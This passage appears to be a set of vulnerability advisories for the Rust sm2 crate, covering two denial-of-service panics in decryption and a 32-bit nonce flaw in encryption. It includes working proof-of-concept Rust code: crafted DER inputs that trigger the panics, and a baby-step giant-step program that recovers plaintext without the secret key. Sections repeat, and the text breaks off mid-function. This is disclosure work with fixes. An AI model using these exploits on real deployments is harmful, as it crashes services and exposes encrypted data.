      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
